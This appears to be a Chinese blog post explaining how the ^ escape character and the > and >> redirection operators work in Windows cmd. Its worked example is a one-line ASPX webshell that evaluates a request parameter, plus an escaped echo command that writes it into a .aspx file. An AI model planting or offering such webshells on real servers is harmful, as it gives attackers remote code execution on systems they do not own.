dos中的转义字符

一、前言

经常写shell会有^符号,一开始不太明白这有什么作用,为什么要加^符号,于是便学习一下转义符号的使用。

转义字符^

用在特殊符号之前,取消特殊字符的作用。

一般而言,^以转义字符的身份出现。因为在cmd环境中,有些字符具备特殊功能,如>、>>表示重定向,|表示管道,&、&&、||表示语句连接……它们都有特定的功能,如果需要把它们作为字符输出的话,echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待,而不会作为普通字符处理,这个时候,就需要对这些特殊字符做转义处理:在每个特殊字符前加上转义字符^,因此,要输出这些特殊字符,就需要用 echo ^>、echo ^|、echo ^^……之类的格式来处理;

正常webshell:

1
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

如果使用cmd写入webshell,如果不进行转义的话则是:

1
echo <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> > C:\Users\Anonymous\Desktop\test.aspx

使用上面语句写入shell会报错:

进行转义后则写入成功:

1
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > C:\Users\Anonymous\Desktop\test.aspx

> 定向符
将输出的内容重定向到指定(文本中)
比如
echo 123456789 > 1.txt
输出字符串到1.txt中

>> 定向符(追加)
将输出内容写入指定(文本中)
注意>将覆盖文本中原有内容>> 则是在文本的最后添加内容>>追加内容时,会先换行再追加内容。

比如

1
2
echo 123 > 1.txt
echo 456 >> 1.txt

文本中有两行分别是123和456
如果echo 456 > 1.txt
那么原有文本中的所有内容将会被覆盖掉变成456


dos中的转义字符
https://nan-918.github.io/2022/05/01/dos中的转义字符/
作者
Nan-911
发布于
2022年5月1日
许可协议